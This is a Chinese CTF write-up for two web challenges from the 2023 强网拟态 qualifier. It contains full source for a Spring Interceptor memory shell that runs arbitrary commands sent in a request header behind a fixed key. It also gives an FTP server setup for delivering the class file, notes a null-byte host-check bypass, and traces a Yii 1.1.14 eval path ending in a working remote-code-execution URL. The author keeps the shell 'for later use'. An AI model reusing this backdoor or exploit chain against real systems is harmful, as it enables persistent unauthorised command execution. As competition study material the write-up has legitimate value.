目录

强网拟态线下赛白盒资格赛 2023 Web Writeup

有空写细节

ezJava

思路如下:

  1. 使用 FTP 下载 class 文件,内存马
  2. 使用 /proc/self/fd/xxx 加载 class

用的 Interceptor 内存马,记录一下备用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.cnss.summer;

import lombok.NonNull;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Objects;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MemShell implements HandlerInterceptor {
    @Override
    public boolean preHandle(@NonNull HttpServletRequest request,@NonNull HttpServletResponse response, @NonNull Object handler) throws Exception {
        String key = request.getHeader("shell-key");
        if(!Objects.equals(key, "admin@cnss")){
            return HandlerInterceptor.super.preHandle(request, response, handler);
        }

        String cmd = request.getHeader("cmd");
        if(cmd == null){
            cmd = "whoami";
        }

        String output = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

        PrintWriter printWriter = (PrintWriter) response.getWriter();
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();

        return false;
    }

    public MemShell(){
        try{
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                    currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            java.lang.reflect.Field adaptedInterceptorsField = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)adaptedInterceptorsField.get(mappingHandlerMapping);
            MemShell memShellInterceptor = new MemShell("xx");
            adaptedInterceptors.add(memShellInterceptor);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public MemShell(String x){

    }
}

FTP 服务器用的 pyftpdlib, 改写 handlers 可以很方便的禁用掉删除文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import logging

from pyftpdlib import servers
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler

def custom_on_DELE(self, path):
    self.respond("550 DELE command is disabled\r\n")

logging.basicConfig(level=logging.DEBUG)

authorizer = DummyAuthorizer()
authorizer.add_user('ftp', '', '.', perm='elradfmwMT')
handler = FTPHandler
handler.authorizer = authorizer
handler.ftp_DELE = custom_on_DELE

address = ("0.0.0.0", 21)  # listen on every IP on my machine on port 21
server = servers.FTPServer(address, handler)
server.serve_forever()

在测试的时候发现,%00 可以过 InetAddress.getByName,然后往本地 config.ini 写东西 ./image.png ./image-1.png

Funweb

Yii 1.1.14, 简单测试后发现现有的 CVE 都用不了,应该是挖洞了

SiteController 注册了 CacheAction

1
2
3
'cache' => array(
    'class' => 'CacheAction'
)

CacheAction 中可以给 COutputCache 注入 property

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class CacheAction extends CAction
{
    public function run(array $param)
    {
        $controller = $this->getController();
        $controller->beginCache("cache", $param);
        Yii::app()->end();
    }
}

...

public function beginCache($id,$properties=array())
{
    $properties['id']=$id;
    $cache=$this->beginWidget('COutputCache',$properties);
    if($cache->getIsContentCached())
    {
        $this->endCache();
        return false;
    }
    else
        return true;
}

COutputCache widget 创建后调用 init 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function init()
{
    if($this->getIsContentCached()){
        $this->replayActions();
    }
            
    elseif($this->_cache!==null)
    {
        $this->getController()->getCachingStack()->push($this);
        ob_start();
        ob_implicit_flush(false);
    }
}
    
...
    
public function getIsContentCached()
{
    if($this->_contentCached!==null)
        return $this->_contentCached;
    else
        return $this->_contentCached=$this->checkContentCache();
}

跟入 checkContentCache 可以分析出逻辑:如果 requestTypes 为空,cacheID 存在对应的组件,将会执行 $this->getCacheKey(),不难通过调试得到 cacheID 同时这些 property 为 public 可控

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected function checkContentCache()
{
    if((empty($this->requestTypes) || in_array(Yii::app()->getRequest()->getRequestType(),$this->requestTypes))
        && ($this->_cache=$this->getCache())!==null)
    {
        if($this->duration>0 && ($data=$this->_cache->get($this->getCacheKey()))!==false)
        {
            $this->_content=$data[0];
            $this->_actions=$data[1];
            return true;
        }
        if($this->duration==0)
            $this->_cache->delete($this->getCacheKey());
        if($this->duration<=0)
            $this->_cache=null;
    }
    return false;
}
    
...
    
protected function getCache()
{
    return Yii::app()->getComponent($this->cacheID,true,true);
}

跟入 getCacheKeyvaryByExpression可控,拼接 expression 即可 RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
protected function getCacheKey()
{
    ...
    if($this->varyByExpression!==null)
        $key.=$this->evaluateExpression($this->varyByExpression);
    ...
}

...

public function evaluateExpression($_expression_,$_data_=array())
{
    if(is_string($_expression_))
    {
        extract($_data_);
        eval('return '.$_expression_.';');
    }
    ...
}

Exp

1
http://172.35.37.214/index-test.php?r=site/cache&param[duration]=123&param[cacheID]=request&param[varyByExpression]=system(%22cat%20/F1agggg%22)

/posts/mimic2023/image-2.png